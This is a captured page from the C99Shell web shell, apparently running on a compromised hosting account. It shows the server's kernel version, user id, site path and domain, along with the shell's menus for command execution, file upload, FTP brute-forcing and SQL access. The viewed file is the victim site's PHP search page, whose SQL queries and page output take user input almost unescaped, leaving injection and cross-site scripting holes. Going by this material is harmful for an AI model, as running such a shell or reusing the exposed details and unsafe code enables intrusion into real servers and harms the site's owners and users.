!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/krupimhomecenter.com/   drwxr-x---
Free 235.18 GB of 981.82 GB (23.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     search.php (4.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?

include 'index_Include.php'
$_SESSION['page'] = 'search.php';

$all_row 0;
if (isset(
$_GET[keyword])&&$_GET[keyword]!='') {

    
// ---------
    
$product_sql "SELECT * FROM product WHERE ";
    
$keyword $_GET['keyword'];
    
$keyword str_replace("'","&#39;",$keyword);
    
$keyword str_replace("\"","&quot;",$keyword);
    
$Q 1;
    if (
$Q==1) {
        
$product_sql .= " ( product_name LIKE '%$keyword%'  OR  product_detail LIKE '%$keyword%'  OR product_review LIKE '%$keyword%'   )";
        
$Q++;
    }
    else{
        
$product_sql .= " AND  ( product_name LIKE '%$keyword%'  OR  product_detail LIKE '%$keyword%'  OR product_review LIKE '%$keyword%'   ) ";
        
$Q++;
    }
    
$product_sql     .= " ORDER BY product_id DESC limit 20";
    
$product_qr     mysqli_query($con,$product_sql);
    
$product_row       mysqli_num_rows($product_qr);
    
$all_row += $product_row;
    
// ---------


    // ---------
    
$portfolio_sql "SELECT * FROM portfolio WHERE ";
    
$keyword $_GET['keyword'];
    
$keyword str_replace("'","&#39;",$keyword);
    
$keyword str_replace("\"","&quot;",$keyword);
    
$Q 1;
    if (
$Q==1) {
        
$portfolio_sql .= " ( portfolio_name LIKE '%$keyword%'  OR  portfolio_detail LIKE '%$keyword%'  OR portfolio_review LIKE '%$keyword%'  )";
        
$Q++;
    }
    else{
        
$portfolio_sql .= " AND  ( portfolio_name LIKE '%$keyword%'  OR  portfolio_detail LIKE '%$keyword%'  OR portfolio_review LIKE '%$keyword%'  ) ";
        
$Q++;
    }
    
$portfolio_sql     .= " ORDER BY portfolio_id DESC limit 20";
    
$portfolio_qr     mysqli_query($con,$portfolio_sql);
    
$portfolio_row       mysqli_num_rows($portfolio_qr);
    
$all_row += $portfolio_row;
    
// ---------




}


?>
<!DOCTYPE html>
<html>
<head>
    <?
    
if (isset($_GET[keyword])&&$_GET[keyword]!='') {
        
?>  
        <title> ค้นหา : <? echo $keyword?> | <? echo $fixed[fixed_website]; ?> </title>
        <meta name="description" content=" <? echo $fixed[fixed_topic]; ?> - <? echo $fixed[fixed_company]; ?> ">
        <meta name="keywords" content="<? echo $fixed[fixed_topic]; ?>">
        <meta name="author" content="<? echo $fixed[fixed_topic]; ?>">
        <?
    
}
    
?>    
    <? include 'index_head.php'?>
</head>
<body>
    <? include 'index_navbar.php'?>
    <div style="background-color: #f0f0f0;">
        <div class="container between20">
            <div class="row">
                <div class="col-md-12 text-center">
                    <span class="page-topic color1 ">
                        <?
                        
if (isset($_GET[keyword])&&$_GET[keyword]!='') {
                            
?>  
                            ค้นหา : <? echo $keyword?> 
                            <?
                        
}
                        
?>
                        <?
                        
if ($all_row=='0') { echo " (ไม่พบข้อมูล)"; }
                        else{ 
                            
?>
                            <span class="badge">
                                <? echo number_format($all_row); ?> รายการ        
                            </span>
                            <?
                        

                        
?>
                    </span>
                </div>
            </div>
        </div>
    </div>
    <div>
        <div class="container ">    
            <!-- row -->
            <?
            
if ($product_row>0) {
                
?>
                <p class="size20  bold">
                    พบ อสังหาริมทรัพย์ :   <? echo $product_row?>   รายการ
                </p>
                <?
                $x 
1;
                while (
$product     mysqli_fetch_array($product_qr)) {
                    if (
$x==1) {
                        
?>
                        <div class="row">
                            <?php
                        
}
                        
?>  
                        <div class="col-md-3 col-xs-6">
                            <? include 'index_panel_product.php'?>
                        </div>
                        <?php
                        
if ($x==4) {
                            
$x=0;
                            
?>
                        </div>
                        <?
                    
}
                    
$x++;
                }
                if (
$x!=1) {
                    echo 
"</div>";
                }
            }
            
?>
            <!-- row -->


            <!-- row -->
            <?
            
if ($portfolio_row>0) {
                
?>
                <p class="size20  bold">
                    พบ ผลงาน :   <? echo $portfolio_row?>  รายการ
                </p>
                <?
                $x 
1;
                while (
$portfolio     mysqli_fetch_array($portfolio_qr)) {
                    if (
$x==1) {
                        
?>
                        <div class="row">
                            <?php
                        
}
                        
?>  
                        <div class="col-md-6">
                            <? include 'index_panel_portfolio.php'?>
                        </div>
                        <?php
                        
if ($x==2) {
                            
$x=0;
                            
?>
                        </div>
                        <?
                    
}
                    
$x++;
                }
                if (
$x!=1) {
                    echo 
"</div>";
                }
            }
            
?>
            <!-- row -->

            <div class="row hidden-sm hidden-xs margintop30" >
                <div class="col-md-12">
                    <ul class="breadcrumb no-radius" style="margin-bottom: 0px;">
                        <li><a href="index.php">หน้าแรก</a></li>
                        <li>
                            <a onclick="goBack();" href="#">
                                กลับ
                            </a>
                        </li>        
                    </ul>
                </div>
            </div>
        </div>
    </div>
    <!-- container -->
    <? include 'index_footer.php'?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0318 ]--